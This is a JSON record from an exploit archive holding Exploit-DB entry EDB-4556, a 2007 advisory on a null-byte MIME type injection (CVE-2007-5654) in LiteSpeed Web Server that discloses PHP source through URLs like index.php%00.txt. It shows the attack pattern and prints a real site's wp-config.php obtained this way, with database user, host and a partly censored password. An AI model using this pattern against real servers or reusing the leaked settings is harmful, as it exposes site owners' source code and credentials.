{"exploit":{"id":"EDB-4556","name":"Litespeed Web Server 3.2.3 - Source Code Disclosure","description":"Litespeed Web Server 3.2.3 - Source Code Disclosure","cves":["CVE-2007-5654"],"author":"Tr3mbl3r","published":"2007-10-22","platform":"multiple","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4556","path":"exploits/multiple/remote/4556.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4556.txt","vulnerabilities":[{"id":"CVE-2007-5654","state":"PUBLISHED","title":null,"titleSource":null,"description":"LiteSpeed Web Server before 3.2.4 allows remote attackers to trigger use of an arbitrary MIME type for a file via a \"%00.\" sequence followed by a new extension, as demonstrated by reading PHP source code via requests for .php%00.txt files, aka \"Mime Type Injection.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-5654","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-5654"},"updatedAt":"2024-08-07T15:39:13.607Z","retrievedAt":"2026-11-26T20:06:55.020Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4556.png?v=2","url":"https://exploitbin.com/exploits/EDB-4556","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4556/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4556/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"########################################################################################\n###########  _______ __           _____         ___                      __  ###########\n########### |_     _|  |--.-----.|     \\.-----.'  _|.---.-.----.-----.--|  | ###########\n###########   |   | |     |  -__||  --  |  -__|   _||  _  |  __|  -__|  _  | ###########\n###########   |___| |__|__|_____||_____/|_____|__|  |___._|____|_____|_____| ###########\n###########                                                                  ###########\n###########                           TheDefaced.org                         ###########\n###########             TheDefaced Security Team Presents An 0-day.          ###########\n###########                  LiteSpeed Remote Mime Type Injection            ###########\n###########                     Discovered by:Tr3mbl3r                       ###########\n###########                Shouts to his kitty kats and tacos.               ###########\n########################################################################################\n# Product:                                                                             #\n# LiteSpeed/Discovered in <==3.2.3 Should work in all other versions below.            #\n#                                                                                      #\n# Vuln:                                                                                #\n# Remote Mime Type Injection                                                           #\n#                                                                                      #\n# Description:                                                                         #\n# Litespeed will parse an URL/Files mimetype incorrectly.                              #\n# When given a nullbyte.                                                               #\n#                                                                                      #\n# Patch:                                                                               #\n# Upgrade to LiteSpeed 3.2.4 has just been released today.                             #\n# 9:15AM PST OCT 22 When I wrote this it's now 9:30AM PST OCT 22                       #\n#                                                                                      #\n# This vuln was found before an update was released they fixed it after they found it..#\n# In their logs.                                                                       #\n#                                                                                      #\n# Risk: Extremely High                                                                 #\n########################################################################################\n# Example:                                                                             #\n# Basicly if you had a URL like so http://www.site.com/index.php.                      #\n# And you wanted this websites source you could simply add a nullbyte and an extension #\n# Like So http://www.site.com/index.php%00.txt                                         #\n# Litespeed would then at this point asume the file is a txt file.                     #\n#                                                                                      #\n# Keep in mind that this vuln is Mime Type Injection... so it works with any type.     #\n# Like if you did %00.rar it would asume the index.php was a rar file.                 #\n# Theres a numerous ammount of things you could do.                                    #\n#                                                                                      #\n# As to of why litespeed does this is not confirmed by us just yet.                    #\n#                                                                                      #\n# I asume it has somthing to do with mimetype handling thus the name of the exploit.   #\n# MimeType Injection.                                                                  #\n########################################################################################\n#               An Example of This Vuln being put in to use.                           #\n#                                                                                      #\n#               The Following is WordPress.com's Wp-Config.php                         #\n#                   http://wordpress.com/wp-config.php%00.txt                          #\n########################################################################################\n#                                                                                      ###########\n# <?php                                                                                          #\n#                                                                                                #\n# // This is probably useless?                                                                   #\n# define('DB_NAME', 'wpmu');     // The name of the database                                     #\n# define('DB_USER', 'wpmu');     // Your MySQL username                                          #\n# define('DB_PASSWORD', 'JTO5T**CENSOR-HERE**'); // ...and password                              #\n# define('DB_HOST', 'two.wordpress.com');     // 99% chance you won't need to change this value  #\n#                                                                                                #\n# require('define.php');                                                                         #\n#                                                                                                #\n# require(ABSPATH . 'wpmu-settings.php');                                                        #\n#                                                                                                #\n# ?>                                                                                             #\n#                                                                                                #\n##################################################################################################\n#                                           Contact Us                                           #\n##################################################################################################\n# WebSite: http://www.thedefaced.org                                                             #\n# Forums for more info: http://www.thedefaced.org/forums/                                        #\n# IRC: irc.thedefaced.org/#TheDefaced                                                            #\n##################################################################################################\n\n# milw0rm.com [2007-10-22]","sha256":"be67d5fd347461ac5df711df4d15079fd70591439c3bd8a3f5cea9c49ac26406","bytes":6744,"fetchedAt":"2026-11-26T20:06:54.230Z","encoding":"utf-8 (display only; download retains original bytes)"}